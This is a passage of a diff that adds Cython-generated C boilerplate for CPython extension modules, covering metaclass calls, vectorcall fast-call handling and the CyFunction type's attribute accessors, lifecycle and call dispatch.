Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, 